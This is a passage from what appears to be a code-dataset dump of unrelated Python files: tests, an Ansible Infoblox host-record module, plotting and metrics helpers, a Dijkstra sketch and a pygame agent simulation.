self.assertTrue(pod_template.get_style_template() == style_template)\n\n def test_get_templates_to_merge(self):\n pod_template = self.test_podtemplate\n to_merge = pod_template.get_templates_to_merge()\n # so far the field should be empty\n self.assertTrue(len(to_merge) == 0)\n\n # set the field 'merge_templates' with some value\n pod_template.merge_templates = [\n {\n 'template': pod_template.UID(),\n 'pod_context_name': 'hello',\n }\n ]\n to_merge = pod_template.get_templates_to_merge()\n self.assertTrue(len(to_merge) == 1)\n self.assertTrue(to_merge['hello'] == pod_template)\n","sub_path":"src/collective/documentgenerator/tests/test_configurable_pod_template.py","file_name":"test_configurable_pod_template.py","file_ext":"py","file_size_in_byte":6899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"608785393","text":"from django.test import TestCase\nfrom ..api_handler import *\n\nimport requests\n\n\nclass MealDBTestCase(TestCase):\n def test_api_key(self):\n key = API_KEY.get_api_key()\n self.assertEqual(key, 1)\n str_key = API_KEY.to_string()\n self.assertEqual(str_key, str(key))\n\n def test_api_url_categories(self):\n categories_url = API_URL.get_categories()\n result = dict(requests.get(url=categories_url).json())\n self.assertIn('categories', result.keys())\n\n def test_api_url_meals(self):\n meals_url = API_URL.get_meals_by_category(category_name='Beef')\n result = dict(requests.get(url=meals_url).json())\n self.assertIn('meals', result.keys())\n self.assertIn('idMeal', result.get('meals')[0])\n\n def test_api_url_recipes(self):\n meals_url = API_URL.get_meals_by_category(category_name='Beef')\n meal_result = dict(requests.get(url=meals_url).json())\n mealID = meal_result.get('meals')[0]\n\n recipes_url = API_URL.get_meal_details_by_id(meal_id=mealID.get('idMeal'))\n recipes_result = dict(requests.get(url=recipes_url).json())\n self.assertIn('meals', recipes_result.keys())\n test_recipe = dict(recipes_result.get('meals')[0])\n self.assertIn('idMeal', test_recipe.keys())\n self.assertIn('strMeal', test_recipe.keys())\n self.assertIn('strCategory', test_recipe.keys())\n self.assertIn('strArea', test_recipe.keys())\n self.assertIn('strInstructions', test_recipe.keys())\n","sub_path":"core/tests/test_mealDB_api.py","file_name":"test_mealDB_api.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"530445576","text":"from pyspark import SparkConf, SparkContext\ncon=SparkConf()\nsc=SparkContext(conf=con)\ndic1=[1,2,3]\ndic2=[5]\nrdd=sc.parallelize(dic1)\nrdd2=sc.parallelize(dic2)\nrdd3=rdd.union(rdd2)\ndef toWords(x):\n\tabc={1:\"One\",2:\"Two\",3:\"Three\",4:\"Four\"}\n\treturn(abc[x])\nx2=rdd.map(toWords)\nthisData=x2.collect()\nprint(thisData)\n","sub_path":"example2.py","file_name":"example2.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"644375672","text":"#!/usr/bin/env python\r\n# Copyright (c) 2017 Philip Bove \r\n# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)\r\n\r\nDOCUMENTATION = \"\"\"\r\n---\r\nmodule: infoblox_host_record\r\ndescription: \r\n\t- Manage Infoblox Host Records with infoblox-client\r\nversion_added: \"2.4\"\r\nauthor: \"Philip Bove (https://github.com/bandit145)\"\r\noptions:\r\n\thost:\r\n\t\tdescription:\r\n\t\t\t- FQDN of Infoblox gridmanager\r\n\t\trequired: true\r\n\tusername:\r\n\t\tdescription:\r\n\t\t\t- Username to use for API access\r\n\t\trequired: true\r\n\tpassword:\r\n\t\tdescription:\r\n\t\t\t- Password to use for API access\r\n\t\trequired: true\r\n\tvalidate_certs:\r\n\t\tdescription:\r\n\t\t\t- Attempt to validate SSL certs on API endpoint\r\n\t\trequired: false\r\n\t\tdefault: yes\r\n\t\tchoices: ['yes','no']\r\n\twapi_version:\r\n\t\tdescription:\r\n\t\t\t- WAPI version for NIOS\r\n\t\trequired: false\r\n\t\tdefault: '2.2'\r\n\tname:\r\n\t\tdescription:\r\n\t\t\t- FQDN of Host Record\r\n\t\trequired: true\r\n\tmac:\r\n\t\tdescription:\r\n\t\t\t- MAC Addresses to use when assigning an IP Address to the Host Record\r\n\t\trequired: false\r\n\tip_address:\r\n\t\tdescription:\r\n\t\t\t- IP Address to assign to Host Record. Only required if next_avail_ip is not being used Note: IP Addresses can not be updated in place\r\n\t\trequired: false\r\n\tdns_view:\r\n\t\tdescription:\r\n\t\t\t- NIOS DNS view\r\n\t\trequired: true\r\n\tnetwork_view:\r\n\t\tdescription:\r\n\t\t\t- NIOS network view, only required if using next_avail_ip\r\n\t\trequired: false\r\n\tstate:\r\n\t\tdescription:\r\n\t\t\t- Desired state of Host Object\r\n\t\trequired: false\r\n\t\tchoices: ['present','absent']\r\n\t\tdefault: 'present'\r\n\tcomment:\r\n\t\tdescription:\r\n\t\t\t- Comment of Host Record\r\n\t\trequired: false\r\n\tttl:\r\n\t\tdescription:\r\n\t\t\t- TTL of Host Record\r\n\t\trequired: false\r\n\tconfigure_for_dns:\r\n\t\tdescription:\r\n\t\t\t- Configure Host Record for DNS\r\n\t\trequired: false\r\n\t\tchoices: ['yes','no']\r\n\t\tdefault: yes\r\n\tconfigure_for_dhcp:\r\n\t\tdescription:\r\n\t\t\t- Configure Host Record IP Address for DHCP\r\n\t\trequired: false\r\n\t\tchoices: ['yes','no']\r\n\t\tdefault: no\r\n\tnext_avail_ip:\r\n\t\tdescription:\r\n\t\t\t- Use next available IP in a subnet. Note: Requires cidr to be used with\r\n\t\trequired: false\r\n\tcidr:\r\n\t\tdescription:\r\n\t\t\t- CIDR notation of subnet to use next available IP from\r\n\t\trequired: false\r\n\textattrs:\r\n\t\tdescription\r\n\t\t\t- Extra Attributes for the Host Record (A dict of key value pairs)\r\n\t\t\t- Example: {\"Site\":\"MySite\"}\r\n\t\trequired: false\r\n\"\"\"\r\n\r\nEXAMPLES = \"\"\"\r\n- name: create host_record\r\n host: \"{{grid_manager}}\"\r\n name: server.test.com\r\n dns_view: Public\r\n ip_address: 10.1.10.50\r\n state: present\r\n username: test\r\n password: test\r\n- name: create host_record with next available IP\r\n host: \"{{grid_manager}}\"\r\n name: server.test.com\r\n next_avail_ip: yes\r\n cidr: 10.1.10.0/24\r\n network_view: My_org\r\n state: present\r\n username: test\r\n password: test\r\n- name: remove host_record\r\n host: \"{{grid_manager}}\"\r\n name: server.test.com\r\n next_avail_ip: yes\r\n cidr: 10.1.10.0/24\r\n network_view: My_org\r\n state: absent\r\n username: test\r\n password: test\r\n\"\"\"\r\nfrom ansible.module_utils.basic import *\r\n\r\ntry:\r\n\tfrom infoblox_client import objects, connector, exceptions\r\n\tHAS_INFOBLOX_CLIENT = True\r\nexcept ImportError:\r\n\tHAS_INFOBLOX_CLIENT = False\r\n\r\n#determins if address is v4 or v6\r\ndef ipv4_or_v6(host_record):\r\n\tif hasattr(host_record,'ipv4addr'):\r\n\t\treturn host_record.ipv4addr\r\n\telse:\r\n\t\treturn host_record.ipv6addr\r\n\r\ndef ea_to_dict(extattrs):\r\n\tif extattrs:\r\n\t\treturn extattrs.__dict__['_ea_dict']\r\n\telse:\r\n\t\treturn {}\r\n\r\ndef is_different(module, host_record):\r\n\t#if ip address different, fail and inform user\r\n\tif module.params['ip_address']:\r\n\t\tif hasattr(host_record,'ipv4addr') and host_record.ipv4addr != module.params['ip_address']:\r\n\t\t\tmodule.fail_json(msg='IP address of a Host Record object cannot be changed')\r\n\t\telif hasattr(host_record,'ipv6addr') and host_record.ipv6addr != module.params['ip_address']: \r\n\t\t\tmodule.fail_json(msg='IP address of a Host Record object cannot be changed')\r\n\t#if these are different then update\r\n\telif host_record.extattrs.__dict__['_ea_dict'] != module.params['extattrs']:\r\n\t\treturn True\r\n\telse:\r\n\t\treturn False\r\n\r\n\r\ndef delete_host_record(conn, host_record, module):\r\n\ttry:\r\n\t\tif host_record:\r\n\t\t\thost_record.delete()\r\n\t\t\tmodule.exit_json(changed=True,ip_addr=ipv4_or_v6(host_record), extattrs=ea_to_dict(host_record.extattrs))\r\n\t\tmodule.exit_json(changed=False)\r\n\texcept exceptions.InfobloxException as error:\r\n\t\tmodule.fail_json(msg=str(error))\r\n\r\ndef create_host_record(conn,host_record, module, ip_addr):\r\n\ttry:\r\n\t\tif module.params['extattrs']:\r\n\t\t\textattrs = objects.EA(module.params['extattrs'])\r\n\t\telse:\r\n\t\t\textattrs = None\r\n\t\tif host_record:\r\n\t\t\tif is_different(module, host_record):\r\n\t\t\t\t#uncomment to verify that this is indeed making it's way to this\r\n\t\t\t\t#module.fail_json(msg='updating...')\r\n\t\t\t\thost_record.create(conn, ip=ip_addr, view=module.params['dns_view'], name=module.params['name'],\r\n\t\t\tconfigure_for_dns=module.params['configure_for_dns'], ttl=module.params['ttl'], comment=module.params['comment'],\r\n\t\t\textattrs=extattrs, update_if_exists=True)\r\n\r\n\t\t\t\tmodule.exit_json(changed=True, ip_addr=ipv4_or_v6(host_record),extattrs=ea_to_dict(host_record.extattrs))\r\n\t\t\telse:\r\n\t\t\t\tmodule.exit_json(changed=False, ip_addr=ipv4_or_v6(host_record),extattrs=ea_to_dict(host_record.extattrs))\r\n\t\t#If host doesn not exist, create\r\n\t\thost_record = objects.HostRecord.create(conn, ip=ip_addr, view=module.params['dns_view'], name=module.params['name'],\r\n\t\t\tconfigure_for_dns=module.params['configure_for_dns'], ttl=module.params['ttl'], comment=module.params['comment'],\r\n\t\t\textattrs=extattrs)\r\n\t\tmodule.exit_json(changed=True, ip_addr=ipv4_or_v6(host_record),extattrs=ea_to_dict(host_record.extattrs))\r\n\texcept exceptions.InfobloxException as error:\r\n\t\tmodule.fail_json(msg=str(error))\r\n\r\ndef ip_gen(module):\r\n\tif module.params['mac']:\r\n\t\tif module.params['next_avail_ip']:\r\n\t\t\tnext_ip = objects.IPAllocation.next_available_ip_from_cidr(module.params['network_view'],module.params['cidr'])\r\n\t\t\tip_addr = objects.IP.create(ip=next_ip, configure_for_dhcp=module.params['configure_for_dhcp'], mac=module.params['mac'])\r\n\t\telse:\r\n\t\t\tip_addr = objects.IP.create(ip=module.params['ip_address'], mac=module.params['mac'])\r\n\telse:\r\n\t\tif module.params['next_avail_ip']:\r\n\t\t\tnext_ip = objects.IPAllocation.next_available_ip_from_cidr(module.params['network_view'],module.params['cidr'])\r\n\t\t\tip_addr = objects.IP.create(ip=next_ip, configure_for_dhcp=module.params['configure_for_dhcp'])\r\n\t\telse:\r\n\t\t\tip_addr = objects.IP.create(ip=module.params['ip_address'])\r\n\treturn ip_addr\r\n\r\ndef main():\r\n\tmodule = AnsibleModule (\r\n\t\targument_spec = dict(\r\n\t\t\thost = dict(type='str' ,required=True),\r\n\t\t\tname = dict(type='str', required=True),\r\n\t\t\tmac = dict(type='str', default=None, required=False),\r\n\t\t\t#required if not using next_avail_ip\r\n\t\t\tip_address = dict(type='str',required=False),\r\n\t\t\tusername = dict(type='str', required=True),\r\n\t\t\tpassword = dict(type='str', required=True, no_log=True),\r\n\t\t\tvalidate_certs = dict(type='bool', default=True,choices=[True,False],required=False),\r\n\t\t\tdns_view = dict(type='str', required=True),\r\n\t\t\tnetwork_view = dict(type='str',required=False),\r\n\t\t\twapi_version = dict(type='str', default='2.2', required=False),\r\n\t\t\tstate = dict(type='str', default='present',choices = ['present','absent'],required=False),\r\n\t\t\tcomment = dict(type='str', default=None,required=False),\r\n\t\t\tttl = dict(default=None, required=False,type='str'),\r\n\t\t\tconfigure_for_dns = dict(type='bool', default=True, choices=[True,False],required=False),\r\n\t\t\tconfigure_for_dhcp = dict(type='bool',default=False, choices=[True,False], required=False),\r\n\t\t\tnext_avail_ip = dict(type='bool',default=False, choices=[True,False], required=False),\r\n\t\t\t#required if using next_avail_ip\r\n\t\t\tcidr = dict(type='str', default=None, required=False),\r\n\t\t\textattrs = dict(type='dict',default=None,required=False)\r\n\t\t),\r\n\t\tsupports_check_mode=False,\r\n\t\trequired_one_of=(['ip_address','next_avail_ip'],)\r\n\r\n\t)\r\n\r\n\tif not HAS_INFOBLOX_CLIENT:\r\n\t\tmodule.fail_json(msg='infoblox-client is not installed. Please see details here: https://github.com/infobloxopen/infoblox-client')\r\n\r\n\tif module.params['next_avail_ip']:\r\n\t\tif not module.params['cidr'] or not module.params['network_view']:\r\n\t\t\tmodule.fail_json(msg='\"cidr\" and \"network_view\" are required when using \"next_avail_ip\"')\r\n\r\n\ttry:\r\n\t\tconn = connector.Connector({'host':module.params['host'],'username':module.params['username'],'password':module.params['password'],\r\n\t\t\t'ssl_verify':module.params['validate_certs'],'wapi_version':module.params['wapi_version']})\r\n\t\tip_addr = ip_gen(module)\r\n\t\thost_record = objects.HostRecord.search(conn, name=module.params['name'], view=module.params['dns_view'])\r\n\t\tif module.params['state'] == 'present':\r\n\t\t\tcreate_host_record(conn, host_record, module, ip_addr)\r\n\t\telif module.params['state'] == 'absent':\r\n\t\t\tdelete_host_record(conn, host_record, module)\r\n\texcept exceptions.InfobloxException as error:\r\n\t\tmodule.fail_json(msg=str(error))\r\n\r\n\r\nif __name__ == '__main__':\r\n\tmain()","sub_path":"library/infoblox_host_record.py","file_name":"infoblox_host_record.py","file_ext":"py","file_size_in_byte":9051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"326050250","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jan 16 17:09:48 2018\n\n@author: selly\n\"\"\"\nimport matplotlib.pyplot as plt\nimport itertools\nimport numpy as np\n\nparams = {'legend.fontsize': 20,\n 'axes.labelsize': 20,\n 'axes.titlesize': 20,\n 'xtick.labelsize': 20,\n 'ytick.labelsize': 20}\nplt.rcParams.update(params)\n\ndef plotCM(cm, classes,\n normalize=False,\n title='Confusion matrix',\n cmap=plt.cm.Blues):\n \"\"\"\n This function prints and plots the confusion matrix.\n Normalization can be applied by setting `normalize=True`.\n \"\"\"\n plt.figure(figsize=(5.5,5))\n # plt.pcolormesh(cm, cmap=cmap)\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n # plt.title(title)\n # plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes)#, rotation=45)\n plt.yticks(tick_marks, classes)\n plt.ylim((1.5, -0.5))\n\n # if normalize:\n # cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, cm[i, j],\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\", fontsize=20)\n\n plt.tight_layout()\n plt.ylabel('True')\n plt.xlabel('Predicted')\n plt.show()\n\ndef calAccuracy(true, pred, class_names, title='', draw=True):\n\tfrom sklearn.metrics import recall_score, accuracy_score, confusion_matrix\n\tacc = accuracy_score(true, pred)\n\tuar = recall_score(true, pred, average='macro')\n\tcm = confusion_matrix(true, pred, range(len(class_names)))\n\tprint(\"acc: {}\\tuar: {}\\ncm: \\n{}\".format(acc, uar, cm))\n\tif draw:\n\t\tplotCM(cm, classes=class_names, title='Confusion matrix('+title+')')\n\treturn (acc, uar, cm)","sub_path":"my_eval.py","file_name":"my_eval.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"379477815","text":"from code_testing import merger\r\nimport os \r\nimport csv\r\nfrom pathlib import Path\r\nfrom looger import App_Logger\r\n\r\n\r\nclass Automate:\r\n \r\n\r\n def __init__(self,path):\r\n self.calling_data=merger(path)\r\n self.file_object=open(\"Final_logs/Data_Extraction\", 'a+')\r\n self.log_writer = App_Logger()\r\n \r\n def validates(self):\r\n try:\r\n self.log_writer.log(self.file_object,\"Data Merging Started!!!!!\")\r\n self.calling_data.combine()\r\n self.log_writer.log(self.file_object,\"Data Merging Completed!!!!!\")\r\n \r\n except Exception as e:\r\n raise e\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n data=Path(\"Training_Batch_Files\")\r\n tv=Automate(data)\r\n tv.validates()\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"509332248","text":"import os\n\ndef load_tests(*args):\n if not len(args):\n # Avoid conflict between nose and unittest (nose thinks this is a test).\n return\n loader, standard_tests, pattern = args[0], args[1], args[2]\n this_dir = os.path.dirname(__file__)\n if pattern is None:\n pattern = \"test*\"\n package_tests = loader.discover(start_dir=this_dir, pattern=pattern)\n standard_tests.addTests(package_tests)\n return standard_tests\n","sub_path":"tests/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"472889230","text":"import torch\nimport torchmetrics\nfrom torchmetrics import MetricCollection,MeanAbsoluteError , MeanSquaredError,SpearmanCorrcoef,PearsonCorrcoef,Accuracy\n\ndef get_metrics_collections_base(prefix,is_regressor:bool=True\n # device=\"cuda\" if torch.cuda.is_available() else \"cpu\",\n \n ):\n if is_regressor:\n metrics = MetricCollection(\n {\n \"MeanAbsoluteError\":MeanAbsoluteError(),\n \"MeanSquaredError\":MeanSquaredError(),\n \"SpearmanCorrcoef\":SpearmanCorrcoef(),\n \"PearsonCorrcoef\":PearsonCorrcoef()\n \n },\n prefix=prefix\n )\n else:\n metrics = MetricCollection(\n {\n \"Accuracy\":Accuracy(),\n \"Top_3\":Accuracy(top_k=3),\n # \"Top_5\" :Accuracy(top_k=5),\n # \"Precision_micro\":Precision(num_classes=NUM_CLASS,average=\"micro\"),\n # \"Precision_macro\":Precision(num_classes=NUM_CLASS,average=\"macro\"),\n # \"Recall_micro\":Recall(num_classes=NUM_CLASS,average=\"micro\"),\n # \"Recall_macro\":Recall(num_classes=NUM_CLASS,average=\"macro\"),\n # \"F1_micro\":torchmetrics.F1(NUM_CLASS,average=\"micro\"),\n # \"F1_macro\":torchmetrics.F1(NUM_CLASS,average=\"micro\"),\n\n },\n prefix=prefix\n )\n return metrics","sub_path":"openml/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"441909552","text":"#!/bin/python3\nimport json\nimport logging\nimport os\nimport sys\nimport time\n\n# Define logging output\nlogging.basicConfig(level=logging.DEBUG, format='%(asctime)s - [%(levelname)s] - %(message)s')\n\n# Enable debugging messages\ndebugging = True\nif not debugging:\n\tlogging.disable(logging.DEBUG)\n# Print start message and delay slightly\nlogging.info('Starting ' + os.path.relpath(sys.argv[0]))\nlogging.info('Dijkstra Using Adjacency List.')\ntime.sleep(.010)\n\n# https://www.tutorialspoint.com/data_structures_algorithms/graph_data_structure.htm\n# Graph vertices. This graph is directed as there is only one edge between vertices.\ngraph = {\n\t'A': [('B', 1), ('C', 4)],\n\t'B': [('A', 1), ('C', 1), ('D', 9), ('G', 2), ('H', 10)],\n\t'C': [('A', 4), ('B', 1), ('D', 7), ('E', 3)],\n\t'D': [('B', 9), ('C', 7), ('E', 5), ('F', 2), ('G', 4)],\n\t'E': [('C', 3), ('D', 5), ('F', 1)],\n\t'F': [('D', 2), ('E', 1), ('G', 6)],\n\t'G': [('B', 2), ('D', 4), ('F', 6), ('H', 8)],\n\t'H': [('B', 10), ('G', 8)]\n}\n\nallowed_hops = 1\nstart_node = 'A'\nend_node = 'H'\ndijsktra_output = {\n\t'start node': 'G',\n\t'end node': 'E',\n\t'all nodes': {},\n\t'visited vertices': ()\n}\n\n\ndef create_graph_nodes():\n\t# Create the graph nodes using ASCII numbers\n\tfor c in range(ord('A'), ord('H') + 1):\n\t\tdijsktra_output['all nodes'][chr(c)] = {}\n\n\ndef create_graph_edges():\n\tfor c in range(ord('A'), ord('H') + 1):\n\t\tcurrent_node = dijsktra_output['all nodes'][chr(c)]\n\t\tcurrent_node['linked nodes'] = {\n\n\t\t}\n\t\t# Get the edge nodes\n\t\tfor e in range(len(graph.get(chr(c)))):\n\t\t\t# 0 = name\n\t\t\t# 1 = cost\n\t\t\tcurrent_node['linked nodes'][graph.get(chr(c))[e][0]] = {\n\t\t\t\t'cost': graph.get(chr(c))[e][1]\n\t\t\t}\n\n\n# \tdijsktra_output['all nodes'][chr(c)]['pointer'].set_connected_node(node)\n#\n# if debugging:\n# \tprint(dijsktra_output['all nodes'].get(chr(c)).get_name() + \" is \" + str(\n# \t\tdijsktra_output['all nodes'].get(chr(c))))\n# \tpprint.pprint(dijsktra_output['all nodes'].get(chr(c)).get_connected_nodes())\n\n\n# Dijkstra formula\n#\n# s = starting node\n# n = number of nodes in the network\n# T = the set of nodes the algorithm has used so far\n# w(i,j) = the link cost between i and j when directly connected, else infinity\n# L(n) = the current known least cost path from s to N\n#\n# Dijkstra steps\n#\n# Note: there will be one line per node visited after this algorithm.\n#\n# 1) Initialisation\n# a) Create a table with the columns T, current cost, and current path for each node. But excluding the start node.\n# b) Update T with start node as we have visited it and it has 0 cost.\n# c) Compute L(n) and current path for each node in the graph, excluding start node. If no connection, cost is infinity and path is null.\n# 2) Get next directly connected node\n# a) On the current line, find the next directly connected node that isn't in T and has a least cost path that isn't infinity\n# b) Update T with the current directly connected node from the current line.\n# c) Create the next line in the table and calculate L(n) and the paths for all directly connected nodes, excluding the current path. Only cheaper paths are updated.\n# 3) Repeat 2 until finished.\ndef dijsktra():\n\tprint(json.dumps(dijsktra_output, indent=2))\n\n\ncreate_graph_nodes()\ncreate_graph_edges()\ndijsktra()\n","sub_path":"Dijkstra/dijkstra.py","file_name":"dijkstra.py","file_ext":"py","file_size_in_byte":3224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"114601189","text":"import sys\n\nimport pygame\n\nimport pygame_simulation.constants as constants\nfrom src.agent import Agent\n\n\ndef get_tile_color(tile_contents):\n tile_color = (0, 0, 0)\n if tile_contents == 'w':\n tile_color = constants.GREEN\n elif tile_contents == '-':\n tile_color = constants.GREY\n return tile_color\n\n\ndef draw_grid(surface_):\n for i in range(constants.NUMBER_OF_BLOCKS_WIDE):\n new_height = round(i * constants.BLOCK_HEIGHT)\n new_width = round(i * constants.BLOCK_WIDTH)\n pygame.draw.line(surface_, constants.BLACK, (0, new_height), (constants.SCREEN_WIDTH, new_height), 2)\n pygame.draw.line(surface_, constants.BLACK, (new_width, 0), (new_width, constants.SCREEN_HEIGHT), 2)\n\n\ndef draw_map(surface_, map_tiles):\n for j, tile in enumerate(map_tiles):\n for i, tile_contents in enumerate(tile):\n # print(f'{i},{j}: {tile_contents}')\n myrect = pygame.Rect(i * constants.BLOCK_WIDTH, j * constants.BLOCK_HEIGHT, constants.BLOCK_WIDTH,\n constants.BLOCK_HEIGHT)\n pygame.draw.rect(surface_, get_tile_color(tile_contents), myrect)\n\n\ndef rot_center(image, angle):\n \"\"\"rotate an image while keeping its center and size\"\"\"\n orig_rect = image.get_rect()\n rot_image = pygame.transform.rotate(image, angle)\n rot_rect = orig_rect.copy()\n rot_rect.center = rot_image.get_rect().center\n rot_image = rot_image.subsurface(rot_rect).copy()\n return rot_image\n\n\ndef draw_agent(surface_, action):\n global agentImg\n global inside_t\n label, a_x, a_y, a_o = action\n a_x = a_x * 50 + 5\n a_y = a_y * 50 + 5\n global r_x, r_y\n rot = None\n if label == 'vt':\n if a_o == 0:\n rot = 0+90\n if a_o == 1:\n rot = -90+90\n if a_o == 2:\n rot = -180+90\n if a_o == 3:\n rot = -270+90\n rot += -18 * (inside_t + 1)\n # surface_.blit(rot_center(agentImg, -rot), (a_x, a_y))\n elif label == '^t':\n if a_o == 0:\n rot = 0-90\n if a_o == 1:\n rot = -90-90\n if a_o == 2:\n rot = -180-90\n if a_o == 3:\n rot = -270-90\n rot += 18 * (inside_t + 1)\n # surface_.blit(rot_center(agentImg, rot), (a_x, a_y))\n else:\n if a_o == 0:\n rot = 0\n if a_o == 1:\n rot = -90\n if a_o == 2:\n rot = -180\n if a_o == 3:\n rot = -270\n # if label == '>f' or label == '>t':\n # surface_.blit(agentImg, (a_x, a_y))\n\n if a_o == 0:\n if label == '>t':\n r_y -= 10\n elif label == '>f':\n if inside_t == 0 or inside_t == 1:\n r_y -= 10\n elif inside_t == 2:\n r_y -= 5\n elif inside_t == 3 or inside_t == 4:\n r_y += 12.5\n surface_.blit(bump_img, (a_x, a_y - 50))\n elif label == '-t':\n surface_.blit(touch_true_img, (a_x, a_y - 50))\n elif label == '-f':\n surface_.blit(touch_false_img, (a_x, a_y - 50))\n elif label == '\\\\t':\n surface_.blit(touch_true_img, (a_x + 50, a_y))\n elif label == '\\\\f':\n surface_.blit(touch_false_img, (a_x + 50, a_y))\n elif label == '\\t':\n surface_.blit(touch_true_img, (a_x - 50, a_y))\n elif label == '\\f':\n surface_.blit(touch_false_img, (a_x - 50, a_y))\n elif a_o == 1:\n if label == '>t':\n r_x += 10\n elif label == '>f':\n if inside_t == 0 or inside_t == 1:\n r_x += 10\n elif inside_t == 2:\n r_x += 5\n elif inside_t == 3 or inside_t == 4:\n r_x -= 12.5\n surface_.blit(bump_img, (a_x + 50, a_y))\n elif label == '-t':\n surface_.blit(touch_true_img, (a_x + 50, a_y))\n elif label == '-f':\n surface_.blit(touch_false_img, (a_x + 50, a_y))\n elif label == '\\\\t':\n surface_.blit(touch_true_img, (a_x, a_y + 50))\n elif label == '\\\\f':\n surface_.blit(touch_false_img, (a_x, a_y + 50))\n elif label == '\\t':\n surface_.blit(touch_true_img, (a_x, a_y - 50))\n elif label == '\\f':\n surface_.blit(touch_false_img, (a_x, a_y - 50))\n if a_o == 2:\n if label == '>t':\n r_y += 10\n elif label == '>f':\n if inside_t == 0 or inside_t == 1:\n r_y += 10\n elif inside_t == 2:\n r_y += 5\n elif inside_t == 3 or inside_t == 4:\n r_y -= 12.5\n surface_.blit(bump_img, (a_x, a_y + 50))\n elif label == '-t':\n surface_.blit(touch_true_img, (a_x, a_y + 50))\n elif label == '-f':\n surface_.blit(touch_false_img, (a_x, a_y + 50))\n elif label == '\\\\t':\n surface_.blit(touch_true_img, (a_x - 50, a_y))\n elif label == '\\\\f':\n surface_.blit(touch_false_img, (a_x - 50, a_y))\n elif label == '\\t':\n surface_.blit(touch_true_img, (a_x + 50, a_y))\n elif label == '\\f':\n surface_.blit(touch_false_img, (a_x + 50, a_y))\n elif a_o == 3:\n if label == '>t':\n r_x -= 10\n elif label == '>f':\n if inside_t == 0 or inside_t == 1:\n r_x -= 10\n elif inside_t == 2:\n r_x -= 5\n elif inside_t == 3 or inside_t == 4:\n r_x += 12.5\n surface_.blit(bump_img, (a_x - 50, a_y))\n elif label == '-t':\n surface_.blit(touch_true_img, (a_x - 50, a_y))\n elif label == '-f':\n surface_.blit(touch_false_img, (a_x - 50, a_y))\n elif label == '\\\\t':\n surface_.blit(touch_true_img, (a_x, a_y - 50))\n elif label == '\\\\f':\n surface_.blit(touch_false_img, (a_x, a_y - 50))\n elif label == '\\t':\n surface_.blit(touch_true_img, (a_x, a_y + 50))\n elif label == '\\f':\n surface_.blit(touch_false_img, (a_x, a_y + 50))\n\n inside_t += 1\n surface_.blit(rot_center(agentImg, rot), (r_x, r_y))\n\n\nclock = pygame.time.Clock()\n\n\ndef game_loop(surface_, world_map_, agent):\n current = 0\n t = 0\n a = None\n global inside_t\n\n while True:\n\n clock.tick(30)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n\n if t == 0:\n try:\n a = agent.step_actions_list[current]\n except IndexError:\n current = 0\n agent.step()\n a = agent.step_actions_list[current]\n current += 1\n\n draw_map(surface_, world_map_)\n draw_grid(surface_)\n draw_agent(surface_, a)\n # pygame.time.wait(100) # wait 100ms\n\n t = t + 1\n\n if t == 5:\n t = 0\n inside_t = 0\n\n pygame.display.update()\n\n\ndef initialize_game():\n pygame.init()\n surface_ = pygame.display.set_mode((constants.SCREEN_WIDTH, constants.SCREEN_HEIGHT))\n pygame.display.set_caption(constants.TITLE)\n surface_.fill(constants.GREY)\n return surface_\n\n\ndef read_map(mapfile):\n with open(mapfile, 'r') as f:\n world_map_ = f.readlines()\n world_map_ = [line.strip() for line in world_map_]\n return world_map_\n\n\nif __name__ == '__main__':\n surface = initialize_game()\n\n # Agent\n agentInst = Agent()\n agentImg = pygame.image.load('agent_icon.png').convert_alpha()\n agentImg = pygame.transform.scale(agentImg, (int(0.8 * constants.BLOCK_WIDTH), int(0.8 * constants.BLOCK_HEIGHT)))\n agentX = 120\n agentY = 120\n r_x = 1 * 50 + 5\n r_y = 4 * 50 + 5\n r_o = 0\n inside_t = 0\n\n # touch True\n touch_true_img = pygame.image.load('blue.png').convert_alpha()\n # touch False\n touch_false_img = pygame.image.load('yellow.png').convert_alpha()\n # bump\n bump_img = pygame.image.load('bump.png').convert_alpha()\n\n world_map = read_map(constants.MAPFILE)\n\n game_loop(surface, world_map, agentInst)\n","sub_path":"pygame_simulation/simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":8120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"29504511","text":"#!/usr/bin/env python\n#-*- coding:utf-8 -*-\n\nimport sys\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\n\nclass terminal(QWidget):\n\tdef __init__(self):\n\t\tQWidget.__init__(self)\n\n\t\tself.setWindowTitle('Terminal')\n\t\tself.resize(640, 480)\n\t\tself.move(300, 300)\n\n\t\tself.terminal = QWidget(self)\n\n\t\tlayout = 